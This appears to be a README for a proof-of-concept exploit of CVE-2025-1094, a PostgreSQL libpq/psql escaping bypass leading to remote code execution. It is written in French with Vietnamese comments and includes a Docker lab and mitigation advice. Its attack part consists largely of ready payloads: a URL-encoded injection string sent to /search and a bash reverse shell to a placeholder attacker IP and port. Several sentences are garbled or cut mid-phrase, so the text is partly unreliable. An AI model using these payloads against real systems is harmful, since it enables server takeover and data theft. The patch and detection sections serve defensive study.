
Exploit de preuve de concept pour CVE-2025-1094, une injection SQL psql PostgreSQL menant à RCE via le contournement de l'échappement libpq. Comprend un environnement Docker, un script d'exploitation et des conseils d'atténuation.
Proof of Concept pour la vulnérabilité d'injection SQL critique dans le client PostgreSQL libpq et l'outil psql
CVE-2025-1094 est une vulnérabilité critique située dans la bibliothèque client libpq et l'outil en ligne de commande psql de PostgreSQL. Cette vulnérabilité permet à un attaquant d'effectuer une injection SQL et d'élever l'attaque en exécution de code à distance (RCE), même lorsque l'application utilise déjà des fonctions d'échappement de chaînes standard comme .
PQescapeLiteralL'erreur provient d'une incohérence dans le traitement des chaînes d'octets multioctets (multibyte) invalides (comme UTF-8) entre la bibliothèque d'échappement et l'analyseur syntaxique (parser) de psql.
1. Contournement de l'échappement (Bypass Escaping)
PQescapeLiteral est trompée par un « octet spécial » (par exemple 0xC0)') qui l'accompagne comme un seul caractère2. RCE via les méta-commandes
\! de psqlLe projet est organisé pour simuler un environnement réaliste lors de l'appel de la fonction C libpq :
.
├── docker-compose.yml # Khởi động PostgreSQL + Web App
├── exolit.py # Exploit script - Tấn công từ bên ngoài
├── README.md # Tài liệu này
└── app/
├── app.py # Flask Web App - Tiếp nhận input user
├── Dockerfile # Build image chứa vulnerable code
└── init_db.sql # Khởi tạo database
/search\!hax\xc0'; \! id; #
| Composant | Valeur | Signification |
|---|---|---|
| Données d'entrée | hax | Données normales ordinaires |
| Octet spécial | \xc0 | Octet UTF-8 invalide - contourne l'échappement |
| Guillemet | ' | Guillemet simple « fantôme » - passe à travers le filtre |
| Fin de SQL | ; | Termine la requête SQL en cours |
| Méta-commande | \! | Commande spéciale de psql - sort vers le shell du système d'exploitation |
| Commande shell | id | Commande à exécuter (remplaçable par un reverse shell) |
| Commentaire | # | Commentaire SQL - neutralise le reste de la requête |
1. Input user: hax\xc0'; \! id; #
↓
2. PQescapeLiteral() không nhận ra \xc0 + ' là tấn công
↓
3. Chuỗi được gửi tới psql: hax\xc0'; \! id; #
↓
4. psql phân tích: đoạn \xc0 được coi là kết thúc chuỗi
↓
5. Meta-command \! được kích hoạt
↓
6. Lệnh shell id được thực thi với quyền của container
docker-compose up -d
docker-compose ps
Assurez-vous que PostgreSQL et l'application Flask sont tous deux en cours d'exécution.
python exolit.py
Résultat attendu : affichage des informations uid=0(root) récupérées depuis le serveur
docker-compose down
Envoyez une requête POST à /search avec le corps (body) suivant :
name=hax%c0%27;+\!+id+;+%23
%c0 = \xc0 (octet UTF-8 invalide)%27 = ' (guillemet simple)%23 = # (dièse)+ = espacehax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23
Remarque : remplacez <ip-hacker> et <port-hacker> par l'IP et le port de la machine de l'attaquant
Mettez à niveau PostgreSQL vers les versions corrigées :
| Version | Version sûre |
|---|---|
| 17.x | ≥ 17.3 |
| 16.x | ≥ 16.7 |
| 15.x | ≥ 15.11 |
| 14.x | ≥ 14.16 |
| 13.x | ≥ 13.19 |
Validez toujours que les données d'entrée sont en UTF-8 valide avant de les traiter :
def validate_utf8(data):
try:
data.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
Dans le développement d'applications, utilisez les bibliothèques de pilotes (drivers) officielles :
# ❌ KHÔNG: Sử dụng subprocess + psql
subprocess.run(['psql', '-c', user_input])
# ✅ CÓ: Sử dụng parameterized queries với psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))
rootrootConfigurez des règles de détection de motifs (patterns) :
- Byte 0xC0, 0xC1 trong request body
- Meta-command `\!` trong user input
- Chuỗi như `; \!` hoặc `' \!`
Lien vers le fichier source (avant le correctif) Vous pouvez consulter le fichier src/interfaces/libpq/fe-exec.c dans la version 17.2 (version encore vulnérable) :
Consultez le « correctif » (The Patch) - le plus important pour l'analyse white-box Pour comprendre pourquoi ils ont commis l'erreur et comment ils l'ont corrigée, le meilleur moyen est d'examiner le Commit Diff (les changements entre la version vulnérable et la version corrigée).
Analyse de la vulnérabilité : https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/